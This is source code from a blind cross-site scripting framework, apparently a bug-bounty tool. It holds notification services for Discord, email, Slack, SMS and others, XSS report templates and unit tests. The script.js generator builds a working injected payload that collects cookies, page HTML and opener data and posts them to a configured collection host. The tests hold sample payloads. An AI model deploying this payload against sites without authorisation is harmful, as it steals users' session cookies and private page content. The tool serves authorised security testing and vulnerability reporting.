this.saveDomain(domain);
fs.appendFileSync(file, template.createMarkdownTemplate(domain, config), err =>
console.log(err || 'The file was saved!')
);
};
/**
* Save domain if it does not exist in urls.txt.
* @param {Domain} domain
*/
exports.saveDomain = domain => {
fs.readFile(urls, 'utf8', (readFileError, data) => {
console.log(`1 ${data} + 2 ${domain.url} + 3 ${data.indexOf(domain.url)}`);
if (data.indexOf(domain.url) !== -1) {
console.log('Domain already exists, no need to write again');
return;
}
if (readFileError) {
console.log(`Read error: ${readFileError}`);
return;
}
fs.appendFile(urls, `${domain.url}\n`, saveFileError =>
saveFileError ? console.log(`Save error: ${saveFileError}`) : ''
);
});
};
/**
* TODO
*/
exports.saveTodaysDate = () => {
// This is only used as it's unlikely there will be more than one ping a day
// from bug bounties change to a shorter time if that changes.
fs.writeFileSync(date, moment().format('YYYY-MM-DD'), err =>
console.log(err || 'Todays date was saved in date.txt')
);
};
================================================
FILE: server/utilities/services/discord.js
================================================
const Discord = require('discord.js');
const markdown = require('../templates/markdown');
function sendMessage(guid, domain, config, bot) {
const channelName = config.discord.channel || '';
const text = markdown.createBasicMarkdown(domain, config, guid);
bot.channels.find(channel => channel.name === channelName).send(text);
}
exports.send = (guid, domain, config) => {
if (!config.isValid({ 'discord.token': 'string', 'discord.channel': 'string' })) {
console.log('You need to configure your discord account');
return;
}
const client = new Discord.Client();
client
.login(config.discord.token)
.then(() => {
sendMessage(guid, domain, config, client);
console.log(`Discord Message Sent To ${config.discord.channel} Channel`);
})
.catch(err => console.error('Error with Discord:', err));
};
================================================
FILE: server/utilities/services/email.js
================================================
const nodemailer = require('nodemailer');
const nodemailerMarkdown = require('nodemailer-markdown').markdown;
const template = require('../templates/markdown');
function mailOptions(config, mail, guid, domain, message) {
return {
from: config.smtp.user,
to: mail,
subject: `${message} ${domain.url} ${guid}`,
markdown: template.createMarkdownTemplate(domain, config)
};
}
exports.send = (guid, domain, config) => {
if (
!config.isValid(['smtp.user', 'smtp.pass', 'smtp.to', 'smtp.host', 'smtp.port', 'smtp.tls'])
) {
console.log('You need to configure smtp');
return;
}
const smtpTransport = nodemailer.createTransport({
host: config.smtp.host,
port: config.smtp.port,
secure: config.smtp.tls,
auth: {
user: config.smtp.user,
pass: config.smtp.pass
}
});
smtpTransport.verify(verifyError => {
if (verifyError) {
console.log(`Error with your SMTP config: ${verifyError}`);
} else {
smtpTransport.use('compile', nodemailerMarkdown());
config.smtp.to.forEach(email => {
const options = mailOptions(config, email, guid, domain, 'New Blind XSS |');
smtpTransport.sendMail(options, error => {
console.log(error || `Mail sent to ${email} for URL ${domain.url}!`);
});
});
if (domain.hasSecurityTxt) {
domain.hasSecurityTxt.forEach(email => {
const options = mailOptions(config, email, guid, domain, 'Auto-Report - Blind XSS - For');
smtpTransport.sendMail(options, error => {
console.log(error || `Auto Report mail sent to ${email} for URL ${domain.url}!`);
});
});
}
}
});
};
================================================
FILE: server/utilities/services/github.js
================================================
const github = require('octonode');
const template = require('../templates/markdown');
exports.send = (guid, domain, config) => {
if (!config.isValid(['github.accessToken', 'github.repo'])) {
console.log('You need to configure your github account');
return;
}
const client = github.client(config.github.accessToken);
const text = template.createMarkdownTemplate(domain, config);
const ghrepo = client.repo(config.github.repo);
// TODO: Read the github issue list to prevent 'spam'.
// Read if domain.url is in the title of returned results
// If its in returned results then don't send
ghrepo.issue(
{
title: `New bXSS For ${domain.url}`,
body: text
},
error => console.log(error || `Github issue created for ${config.github.repo}`)
);
};
================================================
FILE: server/utilities/services/slack.js
================================================
const Slack = require('slack');
const template = require('../templates/markdown');
exports.send = (guid, domain, config) => {
if (!config.isValid(['slack.token', 'slack.channel'])) {
console.log('You need to configure your slack account');
return;
}
const token = config.slack.token || '';
const text = template.createSimplifiedMarkdownTemplate(domain, config);
const bot = new Slack({ token });
bot.channels.list({ token }, (err, json) => {
if (err) {
console.log(err);
} else {
const channel = json.channels.filter(c => c.name === config.slack.channel)[0].id;
const params = { token, text, channel };
// post a message there
bot.chat.postMessage(params, err1 => {
if (err1) {
console.error(err1);
} else {
console.log(`Sent Slack Message to channel ${channel} for URL ${domain.url}`);
}
});
}
});
};
================================================
FILE: server/utilities/services/sms.js
================================================
const Twilio = require('twilio');
const moment = require('moment');
const fs = require('fs');
const save = require('../save');
const path = require('path');
const datePath = path.normalize(`${__dirname}/../../../server/found/date.txt`);
exports.send = (guid, domain, config) => {
if (
!config.isValid({
'twilio.accountSid': 'string',
'twilio.authToken': 'string',
'twilio.to': 'array'
})
) {
console.log('You need to configure your twilio account');
return;
}
if (!this.lastSms()) {
const client = new Twilio(config.twilio.accountSid, config.twilio.authToken);
config.twilio.to.forEach(element => {
client.messages
.create({
from: config.twilio.from,
to: element,
body: `You have a new potential Blind XSS for domain ${domain.url} for ${guid}`
})
.then(message =>
console.log(`SMS send to ${element} from ${config.twilio.from} MSG ID ${message.sid}`)
);
save.saveTodaysDate();
});
} else {
console.log(`Already Sent SMS Today`);
}
};
// Check to see if we sent an SMS in the last day
exports.lastSms = () => {
const lastDate = fs.readFileSync(datePath, 'utf8').trim();
const currentTime = moment().format('YYYY-MM-DD');
return currentTime === lastDate;
};
================================================
FILE: server/utilities/services/spark.js
================================================
const ciscospark = require('ciscospark');
const template = require('../templates/markdown');
exports.send = (guid, domain, config) => {
if (!config.isValid(['ciscoSpark.token', 'ciscoSpark.sparkRoom'])) {
console.log('You need to configure your Webex Teams account');
return;
}
const text = template.createMarkdownTemplate(domain, config);
const teams = ciscospark.init({
credentials: {
access_token: config.ciscoSpark.token
}
});
teams.rooms.create({ title: `New Blind XSS - ${domain.url}` }).then(room =>
Promise.all([
config.ciscoSpark.sparkRoom.forEach(email => {
teams.memberships.create({
roomId: room.id,
personEmail: email
});
})
]).then(
() => console.log('Sending Webex Teams Message'),
teams.messages.create({
markdown: text,
roomId: room.id
})
)
);
};
================================================
FILE: server/utilities/services/twitter.js
================================================
const Twitter = require('twitter-lite');
exports.send = (guid, domain, config) => {
if (
!config.isValid([
'twitter.consumer_key',
'twitter.consumer_secret',
'twitter.access_token_key',
'twitter.access_token_secret'
])
) {
console.log('You need to configure Twitter');
return;
}
const client = new Twitter({
consumer_key: config.twitter.consumer_key,
consumer_secret: config.twitter.consumer_secret,
access_token_key: config.twitter.access_token_key,
access_token_secret: config.twitter.access_token_secret
});
config.twitter.recipient_id.map(async recipientId => {
await client.post('direct_messages/events/new', {
event: {
type: 'message_create',
message_create: {
target: {
recipient_id: recipientId
},
message_data: {
text: `You have a new potential Blind XSS for domain ${domain.url} for ${guid}`
}
}
}
});
});
};
================================================
FILE: server/utilities/templates/markdown.js
================================================
const path = require('path');
const dir = path.normalize(`${__dirname}/../../found/`);
// Full Markdown For Email Reporting
exports.createMarkdownTemplate = (domain, config) => `
# bXSS Report
${
// prettier-ignore
domain.hasSecurityTxt ? `## Security Contact
The affected URL has a /.well-known/.security.txt contact ${domain.hasSecurityTxt} ${config.gmail ? `${config.isValid(['gmail.user', 'gmail.pass', 'gmail.to', 'gmail.from']) ? 'who has been automatically notified.' : 'who you can contact.'}` : 'who you can contact.'}` : ''
}
## Details
The following URL ${
domain.url
} is succeptible to [Cross-Site-Scripting (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29). XSS attacks occur when an attacker uses a web application to send malicious code, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
${
domain.payload
? `In this instance, the following payload was utilized:
\`\`\` html
${domain.payload}
\`\`\`
`
: ''
}
For more details on the different types of XSS flaws, see: [Types Of XSS](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting)
${
domain.innerHTML
? ''
: `### HTTP Interaction
The triggered payload was through HTTP interaction, only HTTP headers were captured.`
}
### Domain
${domain.url || domain.openerLocation}
### Host IP
[${domain.victimIP}](https://www.whois.com/whois/${domain.victimIP})
### User Agent
${domain.userAgent}
${
domain.cookie || domain.openerCookie
? `### Cookies
${domain.cookie || domain.openerCookie}`
: ''
}
${
domain.innerHTML
? `### Document Object Model (DOM) Structure
${
config.intrusiveLevel === 1
? `\`\`\` html
${domain.innerHTML}
\`\`\`
`
: `The JavaScript utilized was non-intrusve, it only captured HTML elements (nodeName, className, and id) not the entire innerHTML.
${domain.innerHTML}`
}`
: ''
}
### Remediation
The general remediation to prevent Cross-Site Scripting is to either output encode, or contextually sanitize user-input before its interpreted by the browser.
For more information, see:
* [OWASP Testing Guide 4.0: Input Validation Testing](https://www.owasp.org/index.php/Testing_for_Input_Validation)
* [OWASP Cheat Sheet: Input Validation](https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet)
* [OWASP Testing Guide 4.0: Client Side Testing ](https://www.owasp.org/index.php/Client_Side_Testing)
* [OWASP Cross Site Scripting Prevention Cheat Sheet ](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
* [OWASP DOM Based Cross Site Scripting Prevention Cheat Sheet ](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
* [OWASP Java Encoding Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)
* [Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems](http://googleonlinesecurity.blogspot.com/2009/03/reducing-xss-by-way-of-automatic.html)
* [AngularJS Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)
* [AngularJS ngBind](https://docs.angularjs.org/api/ng/directive/ngBind)
* [Angular Sanitzation](https://angular.io/guide/security#sanitization-and-security-contexts)
* [Angular Template Security](https://angular.io/guide/template-syntax#content-security)
* [ReactJS Escaping](https://reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks)
`;
// ### etc does not work within slack.
exports.createSimplifiedMarkdownTemplate = (domain, config) => `
*bXSS Report*
${
// prettier-ignore
domain.hasSecurityTxt ? `*Security Contact*
The affected URL has a /.well-known/.security.txt contact ${domain.hasSecurityTxt} ${config.gmail ? `${config.isValid(['gmail.user', 'gmail.pass', 'gmail.to', 'gmail.from']) ? 'who has been automatically notified.' : 'who you can contact.'}` : 'who you can contact.'}` : ''
}
*Details*
The following URL ${
domain.url
} is succeptible to [Cross-Site-Scripting (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29). XSS attacks occur when an attacker uses a web application to send malicious code, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
For more details on the different types of XSS flaws, see: [Types Of XSS](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting)
${
domain.innerHTML
? ''
: `*HTTP Interaction*
The triggered payload was through HTTP interaction, only HTTP headers were captured.`
}
*Domain*
${domain.url || domain.openerLocation}
*Host IP*
${domain.victimIP}
https://www.whois.com/whois/${domain.victimIP}
*User Agent*
${domain.userAgent}
${
domain.cookie || domain.openerCookie
? `*Cookies*
${domain.cookie || domain.openerCookie}`
: ''
}
${
domain.innerHTML
? `*Document Object Model (DOM) Structure*
${
config.intrusiveLevel === 1
? `\`\`\`
${domain.innerHTML}
\`\`\`
`
: `The payload utilized was non-intrusve, it only captures HTML elements (nodeName, className, and id) not the entire innerHTML.
${domain.innerHTML}`
}`
: ''
}
*Remediation*
The general remediation to prevent Cross-Site Scripting is to either output encode, or contextually sanitize user-input before its interpreted by the browser.
For more information, see:
https://www.owasp.org/index.php/Testing_for_Input_Validation
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
https://www.owasp.org/index.php/Client_Side_Testing
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
http://googleonlinesecurity.blogspot.com/2009/03/reducing-xss-by-way-of-automatic.html
https://docs.angularjs.org/api/ng/service/$sce
https://docs.angularjs.org/api/ng/directive/ngBind
https://angular.io/guide/security#sanitization-and-security-contexts
https://angular.io/guide/template-syntax#content-security
https://reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks
`;
// Basic markdown for external services which do not offer a lot of character room
exports.createBasicMarkdown = (domain, config, guid) => `
*bXSS Report - ${guid}*
${
domain.hasSecurityTxt
? `*Security Contact*
The affected URL has a /.well-known/.security.txt contact ${domain.hasSecurityTxt}
${
config.gmail
? `${
config.isValid(['gmail.user', 'gmail.pass', 'gmail.to', 'gmail.from'])
? 'who has been automatically notified.'
: 'who you can contact.'
}`
: 'who you can contact.'
}`
: ''
}
${
domain.innerHTML
? ''
: `*HTTP Interaction*
The triggered payload was through HTTP interaction, only HTTP headers were captured.`
}
*Domain*
${domain.url || domain.openerLocation}
*Host IP*
${domain.victimIP}
https://www.whois.com/whois/${domain.victimIP}
*User Agent*
${domain.userAgent}
See ${dir}${guid}.md for a full breakdown
`;
================================================
FILE: server/utilities/templates/script.js
================================================
// As some companies might not want all of their innerHTML/Cookies to be leaked to a third-party
// This acts as a barrier, by default config.intrusiveLevel is set to 0, which means
// We will only capture relevant information about the host, and report it
// Sets elements
function determineInstrusive(config) {
const capture = {};
capture.cookie = config.intrusiveLevel === 1 ? 'document.cookie' : 'null';
capture.documentBody =
config.intrusiveLevel === 1
? 'document.body.parentNode.innerHTML'
: 'identifyTagAndCaptureParentNodes(document.getElementsByTagName("script"))';
capture.url = config.intrusiveLevel === 1 ? 'document.URL' : 'document.URL';
capture.location = config.intrusiveLevel === 1 ? 'opener.location' : 'opener.location';
capture.openerBody = config.intrusiveLevel === 1 ? 'opener.document.body.innerHTML' : 'null';
capture.openerCookie = config.intrusiveLevel === 1 ? 'opener.document.cookie' : 'null';
return capture;
}
// Identifying the DOM of the page which was injected at non-intrusive level
// First identify the correct script, where bXSS occured
// Traverse the DOM until we hit the HTML (root element)
function captureParentNodes(config) {
return `
function captureParentNodes(element, _array) {
if (_array === undefined) {
_array = [];
}
value = element.nodeName
if(element.id != '') {
value = value + '-' + element.id
}
if(element.className != '') {
value = value + '-' + element.className
}
_array.push(value);
if(element.nodeName !== 'HTML' ) return captureParentNodes(element.parentNode, _array);
else return _array;
}
function identifyTagAndCaptureParentNodes(tagName) {
var scriptLocation = ''
for(i = 0;i < tagName.length; i++)
{
if(tagName[i].src.indexOf('${config.url}/m')) {
scriptLocation = tagName[i];
}
}
return captureParentNodes(scriptLocation)
}
`;
}
// This function will capture if there as a https://securitytxt.org/
// This information will be used to automatically report security issues
// This will only report security issues automatically if email is configured
// Function sends an XHR to /.well-known/security.txt
// Example would be google.com/.well-known/security.txt (if you found bXSS on google.com)
// Response is captured and fed into generateTemplate function
function checkForSecurityTxt() {
return `
function checkForSecurityTxt(url, cb) {
var checkForSecurityTxt = new XMLHttpRequest();
checkForSecurityTxt.open("GET", url, true);
checkForSecurityTxt.onreadystatechange = function() {
if(this.readyState === 4 && this.status == 200) {
cb(this.responseText);
} else if(this.readyState === 4 && this.status != 200) {
cb(null);
}
}
checkForSecurityTxt.send(null);
}`;
}
// Callback from XHR to get for /.well-known/security.txt on domain
// Creates a new form/input through createElementNS and assigns the document body as a variable
// Appends all the captured data to the input value
// Appends the data to the form, sets the URL as configured and sets the POST method
// The form is then appended the body, window.name is set to __ to prevent loops
// Data is then sent to the attacker domain to be processed
function sendXhr(config) {
return `
var cScript = document.currentScript;
function cbSecurityTxt(stxt) {
setTimeout(function(){
if(cScript === undefined || cScript === null) {
var pload = 'null'
} else {
var pload = cScript.outerHTML
}
var _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'form');
var __= document.createElementNS('http://www.w3.org/1999/xhtml', 'input');
var body = document.getElementsByTagName('body')[0];
__.setAttribute('value',escape(dcoo+'\\r\\n\\r\\n${
config.boundary
}'+inne+'\\r\\n\\r\\n${config.boundary}'+durl+'\\r\\n\\r\\n${
config.boundary
}'+oloc+'\\r\\n\\r\\n${config.boundary}'+oloh+'\\r\\n\\r\\n${
config.boundary
}'+odoc+'\\r\\n\\r\\n${config.boundary}'+stxt+'\\r\\n\\r\\n${config.boundary}'+pload));
__.setAttribute('name','_');
_.appendChild(__);
_.action='//${config.url}/m';
_.method='post';
body.appendChild(_);
window.name='__';
_.submit();
}, 1000)
}
`;
}
// This does two important things
// Try to capture all the document information depending on pre-defined determineInstrusive function
// Then calls final XHR if it exists from checkForSecurityTxt function success or fail.
function captureInformation(capture) {
return `
try {dcoo = ${capture.cookie}} catch(e) {dcoo=null}
try {inne = ${capture.documentBody}} catch(e) {inne=null}
try {durl = ${capture.url}} catch(e) {durl=null}
try {oloc = ${capture.location}} catch(e) {oloc=null}
try {oloh = ${capture.openerBody}} catch(e) {oloh=null}
try {odoc = ${capture.openerCookie}} catch(e) {odoc=null}
try {checkForSecurityTxt("/.well-known/security.txt", cbSecurityTxt)} catch(e) {cbSecurityTxt(null)}`;
}
// This function builds the overall payload
// We check to see if the window.name is __ because by default it will not be
// After a succesfull capture it will set the window.name to be __
// This means it will only fire in that window once, preventing spam
exports.generateTemplate = config => {
const capture = determineInstrusive(config);
const template = `(function(){
if(window.name!=='__'){
${captureParentNodes(config)}
${checkForSecurityTxt()}
${captureInformation(capture)}
${sendXhr(config)}
} else {window.name='__'}
})();`;
return template;
};
================================================
FILE: tests/__tests__/services/sms.unit.test.js
================================================
/* eslint-disable global-require */
const sms = require('server/utilities/services/sms');
describe('lastSms', () => {
const fs = require('fs');
const spy = jest.spyOn(fs, 'readFileSync');
const today = require('moment')().format('YYYY-MM-DD');
afterEach(() => spy.mockRestore());
test('Should return true as days are the same, preventing SMS to send', () => {
spy.mockReturnValue(today);
expect(sms.lastSms()).toBeTruthy();
expect(spy).toReturnWith(today);
});
test('Should return false as it uses todays date, and value from file is from past, allowing SMS to send', () => {
spy.mockImplementation(() => '2001-01-01');
// Flaky (Sometimes passes, sometimes fails -- don't know why)
// Important part is spy is not today, which means mock is returning mockReturnValue
// expect(sms.lastSms()).toBeFalsy();
expect(spy).not.toReturnWith(today);
});
});
================================================
FILE: tests/__tests__/utilities/config.unit.test.js
================================================
const config = require('server/utilities/config');
describe('utilities.config', () => {
beforeEach(() => {
config.test = {
a: 'example@gmail.com',
b: 3.1415,
c: [5, 4, 3, 2],
d: { x: 'x', y: 0, z: {} },
e: true,
f: false,
g: null
};
});
describe('get', () => {
it('should return top-level properties', () => {
expect(config.get('test')).toMatchObject(config.test);
});
it('should return nested properties', () => {
expect(config.get('test.b')).toBe(3.1415);
expect(config.get('test.f')).toBe(false);
expect(config.get('test.d.x')).toBe('x');
});
it('should return undefined for undefined properties', () => {
expect(config.get('test.doesNotExist')).toBe(undefined);
expect(config.get('test.d.doesNotExist')).toBe(undefined);
expect(config.get('test.d.z.doesNotExist')).toBe(undefined);
});
it('should return undefined for non-object properties', () => {
expect(config.get('test.e.w.a.b.c')).toBe(undefined);
});
});
describe('isValid', () => {
it('should validate the basic JS types', () => {
expect(
config.isValid({
'test.a': 'string',
'test.b': 'number',
'test.c': 'array',
'test.d': 'object',
'test.e': 'boolean',
'test.f': 'boolean',
'test.g': 'null',
'test.doesNotExist': 'null'
})
).toBeTruthy();
[
['test.a', 'number'],
['test.b', 'string'],
['test.c', 'object'],
['test.d', 'boolean']
].forEach(([key, types]) => {
const spec = {};
spec[key] = types;
expect(config.isValid(spec)).toBeFalsy();
});
});
it('should not confuse null/undefined with false', () => {
expect(config.isValid({ 'test.f': 'null' })).toBeFalsy();
expect(config.isValid({ 'test.g': 'null' })).toBeTruthy();
expect(config.isValid({ 'test.doesNotExist': 'null' })).toBeTruthy();
});
it('should validate multiple type specs', () => {
['first', 2, null].forEach(val => {
config.test.a = val;
expect(config.isValid({ 'test.a': 'string|number|null' })).toBeTruthy();
});
config.test.a = false;
expect(config.isValid({ 'test.a': 'string|number|null' })).toBeFalsy();
});
});
});
================================================
FILE: tests/__tests__/utilities/domain.unit.test.js
================================================
const Domain = require('server/utilities/domain');
describe('utilities.domain', () => {
describe('fromPayload', () => {
it('should return processed values for domain with Cookie, innerHTML, URL, payload, and other values null or undefined', () => {
const domain = Domain.fromPayload(
'test%3Atest%0D%0A%0D%0A%23%21%21%21%21%23%3Chead%3E%3Cstyle%20type%3D%22text/css%22%3E@charset%20%22UTF-8%22%3B%5Bng%5C%3Acloak%5D%2C%5Bng-cloak%5D%2C%5Bdata-ng-cloak%5D%2C%5Bx-ng-cloak%5D%2C.ng-cloak%2C.x-ng-cloak%2C.ng-hide%3Anot%28.ng-hide-animate%29%7Bdisplay%3Anone%20%21important%3B%7Dng%5C%3Aform%7Bdisplay%3Ablock%3B%7D.ng-animate-shim%7Bvisibility%3Ahidden%3B%7D.ng-anchor%7Bposition%3Aabsolute%3B%7D%3C/style%3E%3C/head%3E%3Cbody%3E%0A%3Ch1%3EThis%20is%20secret%20content%3C/h1%3E%0A%3Cdiv%3E%0A%3Cscript%20src%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js%22%3E%3C/script%3E%0A%3Cdiv%20id%3D%22test%22%20class%3D%22test123%22%3E%0A%3Cscript%3Edocument.cookie%3D%22test%3Atest%22%3C/script%3E%0A%3Cdiv%20ng-app%3D%22%22%3E%0A%0A%0A%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%0D%0A%0D%0A%23%21%21%21%21%23http%3A//localhost%3A1000/test.html%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E',
{ boundary: '#!!!!#', intrusiveLevel: 1 }
);
expect(domain.cookie).toBe('test:test');
expect(domain.url).toBe('http://localhost:1000/test.html');
expect(domain.innerHTML).toContain(
'<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js"></script>'
);
expect(domain.innerHTML).toContain('<script>document.cookie="test:test"</script>');
expect(domain.innerHTML).toContain('<h1>This is secret content</h1>');
expect(domain.innerHTML).toContain('<div ng-app="">');
expect(domain.openerLocation).toBe(null);
expect(domain.openerCookie).toBe(null);
expect(domain.openerInnerHTML).toBe(null);
expect(domain.hasSecurityTxt).toBe(null);
expect(domain.victimIP).toBe(null);
expect(domain.payload).toBe('<script src="//localhost/m"></script>');
});
it('Should return processed values for domain with Cookie, innerHTML, and URL, hasSecurityTxt, payload other values null or undefined', () => {
const domain = Domain.fromPayload(
'test%3Atest%0D%0A%0D%0A%23%21%21%21%21%23%3Chead%3E%3Cstyle%20type%3D%22text/css%22%3E@charset%20%22UTF-8%22%3B%5Bng%5C%3Acloak%5D%2C%5Bng-cloak%5D%2C%5Bdata-ng-cloak%5D%2C%5Bx-ng-cloak%5D%2C.ng-cloak%2C.x-ng-cloak%2C.ng-hide%3Anot%28.ng-hide-animate%29%7Bdisplay%3Anone%20%21important%3B%7Dng%5C%3Aform%7Bdisplay%3Ablock%3B%7D.ng-animate-shim%7Bvisibility%3Ahidden%3B%7D.ng-anchor%7Bposition%3Aabsolute%3B%7D%3C/style%3E%3C/head%3E%3Cbody%3E%0A%3Ch1%3EThis%20is%20secret%20content%3C/h1%3E%0A%3Cdiv%3E%0A%3Cscript%20src%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js%22%3E%3C/script%3E%0A%3Cdiv%20id%3D%22test%22%20class%3D%22test123%22%3E%0A%3Cscript%3Edocument.cookie%3D%22test%3Atest%22%3C/script%3E%0A%3Cdiv%20ng-app%3D%22%22%3E%0A%0A%0A%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%0D%0A%0D%0A%23%21%21%21%21%23http%3A//localhost%3A81/hi%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23Contact%3A%20https%3A//g.co/vulnz%0D%0AContact%3A%20mailto%3Alewisardern@live.co.uk%0D%0AEncryption%3A%20https%3A//services.google.com/corporate/publickey.txt%0D%0AAcknowledgements%3A%20https%3A//bughunter.withgoogle.com/%0D%0APolicy%3A%20https%3A//g.co/vrp%0D%0AHiring%3A%20https%3A//g.co/SecurityPrivacyEngJobs%0D%0A%0D%0A%0D%0A%23%21%21%21%21%23%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E',
{ boundary: '#!!!!#', intrusiveLevel: 1 }
);
expect(domain.cookie).toBe('test:test');
expect(domain.innerHTML).toContain('<script>document.cookie="test:test"</script>');
expect(domain.innerHTML).toContain('<h1>This is secret content</h1>');
expect(domain.innerHTML).toContain('<div ng-app="">');
expect(domain.url).toBe('http://localhost:81/hi');
expect(domain.openerLocation).toBe(null);
expect(domain.openerCookie).toBe(null);
expect(domain.openerInnerHTML).toBe(null);
expect(domain.hasSecurityTxt).toMatchObject(['lewisardern@live.co.uk']);
expect(domain.victimIP).toBe(null);
expect(domain.payload).toBe('<script src="//localhost/m"></script>');
});
it('Should return processed values for domain with innerHTML (non-intrusive), and URL, other values null or undefined', () => {
const domain = Domain.fromPayload(
'null%0D%0A%0D%0A%23%21%21%21%21%23SCRIPT%2CDIV%2CDIV-test123-test%2CDIV%2CBODY%2CHTML%0D%0A%0D%0A%23%21%21%21%21%23http%3A//localhost%3A1000/test.html%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null',
{ boundary: '#!!!!#', intrusiveLevel: 0 }
);
expect(domain.cookie).toBe(null);
expect(domain.innerHTML).toBe(
'SCRIPT<br/>DIV<br/>DIV-test123-test<br/>DIV<br/>BODY<br/>HTML<br/>'
);
expect(domain.url).toBe('http://localhost:1000/test.html');
expect(domain.openerLocation).toBe(null);
expect(domain.openerCookie).toBe(null);
expect(domain.openerInnerHTML).toBe(null);
expect(domain.hasSecurityTxt).toBe(null);
expect(domain.victimIP).toBe(null);
expect(domain.payload).toBe(null);
});
});
describe('html', () => {
it('Should return each captured node with <br/> tag which can be used to display in markdown output', () => {
const domain = Domain.from(
{ innerHTML: 'SCRIPT,DIV,DIV-test123-test,DIV,BODY,HTML' },
{ intrusiveLevel: 0 }
);
expect(domain.html()).toBe(
'SCRIPT<br/>DIV<br/>DIV-test123-test<br/>DIV<br/>BODY<br/>HTML<br/>'
);
});
it('Should return innerHTML, if set and intrusive level is 1', () => {
const domain = Domain.from(
{ innerHTML: '<h1>hello</h1><script src="//localhost/m"></script>' },
{ intrusiveLevel: 1 }
);
expect(domain.html()).toBe(domain.innerHTML);
});
it('should return openerInnerHTML if it is set, innerHTML is unset and intrusive level is 1', () => {
const domain = Domain.from(
{ openerInnerHTML: '<h1>hello</h1><script src="//localhost/m"></script>' },
{ intrusiveLevel: 1 }
);
expect(domain.html()).toBe(domain.openerInnerHTML);
});
});
describe('hasSecurityTxt', () => {
it('should extract valid contact address(es) from security.txt output', () => {
[
// with mailto:
'Contact: https://g.co/vulnz\r\nContact: mailto:lewisardern@live.co.uk\r\nEncryption: https://services.google.com/corporate/publickey.txt\r\nAcknowledgements: https://bughunter.withgoogle.com/\r\nPolicy: https://g.co/vrp\r\nHiring: https://g.co/SecurityPrivacyEngJobs',
// without mailto:
'Contact: https://g.co/vulnz\r\nContact: lewisardern@live.co.uk\r\nEncryption: https://services.google.com/corporate/publickey.txt\r\nAcknowledgements: https://bughunter.withgoogle.com/\r\nPolicy: https://g.co/vrp\r\nHiring: https://g.co/SecurityPrivacyEngJobs'
].forEach(txt => {
const domain = Domain.from({ hasSecurityTxt: txt });
expect(domain.hasSecurityTxt).toMatchObject(['lewisardern@live.co.uk']);
});
});
it('should return null for invalid addresses in security.txt output', () => {
const domain = Domain.from({
hasSecurityTxt:
'Contact: https://g.co/vulnz\r\nContact: lewisardern\r\nEncryption: https://services.google.com/corporate/publickey.txt\r\nAcknowledgements: https://bughunter.withgoogle.com/\r\nPolicy: https://g.co/vrp\r\nHiring: https://g.co/SecurityPrivacyEngJobs'
});
expect(domain.hasSecurityTxt).toBe(null);
});
});
});
================================================
FILE: tests/__tests__/utilities/payload.unit.test.js
================================================
// const Domain = require('server/utilities/domain');
describe('processPayload', () => {
it('todo', () => {
expect(1).toBe(1);
});
});
================================================
FILE: tests/__tests__/utilities/save.unit.test.js
================================================
const fs = require('fs');
const Domain = require('server/utilities/domain');
const save = require('server/utilities/save');
const today = require('moment')().format('YYYY-MM-DD');
describe('utilities.save', () => {
describe('saveDomain', () => {
const readFileMock = jest.spyOn(fs, 'readFile');
const appendFileMock = jest.spyOn(fs, 'appendFile');
const domain = Domain.from({ url: 'https://example.com/vulnerable.txt' });
beforeEach(() => {
readFileMock.mockImplementation(
(_file, ...args) => args[args.length - 1](null, 'https://example.com/vulnerable.txt')
);
appendFileMock.mockImplementation((file, data, ...args) => {
